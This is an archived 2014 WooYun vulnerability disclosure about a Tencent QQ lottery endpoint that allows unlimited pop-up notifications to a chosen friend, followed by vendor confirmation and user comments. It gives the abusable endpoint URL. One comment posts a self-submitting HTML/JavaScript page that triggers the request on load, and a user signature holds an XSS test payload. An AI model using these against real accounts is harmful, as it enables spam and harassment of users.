当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051860

漏洞标题：腾讯QQ某处右下角信息提示无限弹窗

相关厂商：腾讯

漏洞作者： 轨迹

提交时间：2014-02-24 11:10

修复时间：2014-04-10 11:10

公开时间：2014-04-10 11:10

漏洞类型：未授权访问/权限绕过

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-24： 细节已通知厂商并且等待厂商处理中
2014-02-24： 厂商已经确认，细节仅向厂商公开
2014-03-06： 细节向核心白帽子及相关领域专家公开
2014-03-16： 细节向普通白帽子公开
2014-03-26： 细节向实习白帽子公开
2014-04-10： 细节向公众公开

简要描述：

QQ某活动 指定好友 可大量右下角弹窗哦。

详细说明：

QQ彩票活动页：http://888.qq.com/promote/party/2013/1225_luck8/index.shtml
上图 posturl就不看了，还真不如按键精灵来的快。嗯，应该是无限弹。
http://888.qq.com/party/party_2013/flight_chess/flight_chess_send_tips.php?sendIds=1*****13

QQ截图20140223233320.png


QQ截图20140224110717.jpg


QQ截图20140224110148.jpg

漏洞证明：

修复方案：

限制对好友的发送次数。

版权声明：转载请注明来源 轨迹@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-02-24 11:39

厂商回复：

非常感谢您的报告。该问题已经通过其它渠道发现并已着手处理。如您有进一步发现，请及时与我们联系。如果您有任何的疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-24 11:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    还是那句话 你从其他渠道发现是你的问题 提交的人把细节给你了你就其他渠道看到了？ sb

  2. 2014-02-24 11:43 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @xsser .....

  3. 2014-02-24 11:45 | 轨迹 ( 路人 | Rank:5 漏洞数:3 | 321)

    应该不会有进一步发现了 嗯xsser v5

  4. 2014-02-24 11:49 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    别说是QQ彩票飞行棋那个

  5. 2014-02-24 13:52 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @xsser 这..

  6. 2014-02-24 16:55 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    @xsser 这。。分明是啪啪啪的节奏

  7. 2014-02-24 22:46 | D＆G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @xsser 赞一个！！！！

  8. 2014-02-26 12:27 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    @xsser 做一个厂商是否要看的按钮（如果要看，那就评分；如果不看，那就拒绝。）

  9. 2014-03-15 21:56 | Hannibal ( 路人 | Rank:5 漏洞数:1 | 我很乖，我不嗨。)

    是的，应该看一下

  10. 2014-04-10 11:28 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    我是来观摩厂商节操的。。。

  11. 2014-04-10 11:30 | null ( 路人 | Rank:15 漏洞数:2 | 左岸是无法忘却的回忆，右岸是值得把握的青...)

    习科好早就发了<html><script>window.onload =function() { var o=new Image(); o.src="http://888.qq.com/party/party_2013/flight_chess/flight_chess_send_tips.php?sendIds=12345"; if(o.complete){ location.replace(document.referrer); }else{ o.onload = function(){ location.replace(document.referrer); }; o.onerror = function(){ location.replace(document.referrer); }; } //code by wadd}</script><body ></body></html>

  12. 2014-04-10 11:43 | Social ( 路人 | Rank:0 漏洞数:1 | 我有舒肤佳，谁要看。)

    这是什么工具，好高端的样子

  13. 2014-04-29 15:43 | 0x01 ( 路人 | Rank:2 漏洞数:1 | XXOO)

    呵呵 习科早就有了